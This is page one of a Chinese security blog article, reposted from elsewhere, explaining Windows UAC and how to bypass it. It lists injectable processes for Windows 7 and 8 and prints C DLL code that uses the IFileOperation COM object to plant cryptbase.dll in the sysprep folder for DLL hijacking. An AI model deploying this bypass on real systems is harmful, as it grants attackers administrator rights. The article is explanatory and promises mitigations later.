文章图片标题

Windows用户帐户控制(UAC)的绕过与缓解方法(1)

分类:网络安全 作者:风雨 评论:0 点击: 468 次 日期:2015-10-31

在企业环境中保护机器免受歹意威胁一直是一个持续的进程。假如给用户提供了管理员权限,就会被滥用于安装未经许可的软件,更改配置,等等。假如不给用户提供当地管理员权限,他们就会声称他们不能正常开展任务了。假如歹意软件碰巧感染了拥有完全管理员权限的机器,那么你最有可能眼睁睁的看着计算机被歹意软件重新映像。

用户帐户控制(UAC) 给了咱们应用尺度的用户权限代替完全的管理员权限来运行顺序的能力。以是即使您的尺度用户帐户位于当地管理员组中,那么受到的破坏也是有限的,如安装服务,驱动顺序以及对安全地位履行写入操纵,等等,这些行为都是被拒绝的。要进行这些操纵,用户须要与桌面进行交互,如右键单击并以管理员身份运行或者是接受 UAC 晋升的提示。Microsoft从 Windows Vista 起就引入了UAC,它包含了大量的技术,其中包括文件系统和注册表虚拟化、保护管理员 (PA) 帐户、UAC 晋升提示和 Windows 完整性级别。

UAC 的任务原理是调整咱们当前的用户帐户的权限级别,以是即使咱们拥有计算机上的当地管理员权限,顺序的操纵还是作为尺度用户进行的。当顺序履行的操纵须要管理员级别的权限时, UAC 就会通知咱们。假如咱们已经拥有了当地管理员权限,那么咱们能够单击“是”继续,否则系统将会提示您输入管理员密码。当然这些将取决于您的环境中定义了何种策略。

本文讲述了如何轻松地绕过UAC晋升提示并且能够采取哪些措施来减轻这种威胁。

绕过 UAC

绕过 UAC 是一个简单的进程。能够采取两个步骤实现从尺度的用户权限到管理员用户权限的晋升。这些步骤的方法已被广泛的公布,以是这并不是什么新奇的技术,不过在第二个步骤中会出现一些更多的 DLL 劫持漏洞。

·写入到安全地位

·利用 DLL 劫持漏洞

为了能成功的绕过 UAC,在开始前咱们须要一些事情:

1.一个完整性级别为中等的进程

2.一个管理员组中的尺度用户

3.必须由微软代码签名证书签名过的Windows 可履行文件

4.必须位于一个安全目录的Windows 可履行文件

5.Windows 可履行文件也必须在他们自身的顺序清单中指定自动晋升属性

写入到安全地位

咱们能够应用这几种方法写入到安全地位。

·应用 IFileOperation COM 对象

·应用 Windows 更新独立安装顺序 (wusa.exe)

IFileOperation COM 对象

IFileOperation COM 对象有一个方法能够用来将文件复制到安全地位,该操纵将会自动进行晋升并能够履行特权的拷贝。咱们能够在完整性级别为中等的进程中注入咱们的歹意DLL来履行此操纵以便能够绕过UAC。由于COM 对象设置了自动晋升,以是被注入的进程在其顺序清单中不须要标记自动晋升。

在 windows 7 中能够成功复制并能够注入的进程如下:

C:\Windows\explorer.exeC:\Windows\System32\wuauclt.exeC:\Windows\System32\taskhost.exe

在测试进程中 taskhost.exe 在开机后只任务一次,wuauclt.exe 并不是一直能够任务, explorer.exe 是唯一能够应用的可靠进程。

在 Windows 8 中能够成功复制并能够注入的进程如下:

C:\Windows\explorer.exeC:\Windows\System32\wuauclt.exeC:\Windows\System32\RuntimeBroker.exe

在 Windows 8.1的测试进程中我发现Explorer.exe又是唯一能够应用的可靠进程。

下面的代码的主要部分是从。

#include <stdio.h>#include <Shobjidl.h>#include <Windows.h> #pragma comment(lib, "Ole32.lib")#pragma comment(lib, "shell32.lib") int WINAPI DllMain(HINSTANCE hinstDLL,DWORD fdwReason, LPVOID lpvReserved){FileOperation  *pfo;IShellItem      *psiFrom = NULL;IShellItem      *psiTo = NULL;LPCWSTR pszSrcItem = L"calc.dll";LPCWSTR pszNewName = L"cryptbase.dll";LPCWSTR pszDest    = L"C:\\windows\\System32\\sysprep"; HRESULT hr = CoInitializeEx(NULL, COINIT_APARTMENTTHREADED | COINIT_DISABLE_OLE1DDE);if (SUCCEEDED(hr)){ hr = CoCreateInstance(CLSID_FileOperation, NULL, CLSCTX_ALL, IID_PPV_ARGS(&pfo)); if (SUCCEEDED(hr)) { hr = pfo->SetOperationFlags( FOF_NOCONFIRMATION | FOF_SILENT | FOFX_SHOWELEVATIONPROMPT | FOFX_NOCOPYHOOKS | FOFX_REQUIREELEVATION | FOF_NOERRORUI ); if (SUCCEEDED(hr)) { hr = SHCreateItemFromParsingName(pszSrcItem, NULL, IID_PPV_ARGS(&psiFrom)); if (SUCCEEDED(hr)) { if (NULL != pszDest) { hr = SHCreateItemFromParsingName(pszDest, NULL, IID_PPV_ARGS(&psiTo)); } if (SUCCEEDED(hr)) { hr = pfo->CopyItem(psiFrom, psiTo, pszNewName, NULL); if (NULL != psiTo) { psiTo->Release(); } } psiFrom->Release(); } if (SUCCEEDED(hr)) { hr = pfo->PerformOperations(); } } pfo->Release(); } CoUninitialize(); } return 0;}

1
内容导航

 第 1 页:


转载自:http://netsecurity.51cto.com/art/201510/495577.htm




声明: 除非注明,本文属( 风雨 )原创,转载请保留链接: http://www.tomrrow.com/archives-5078.html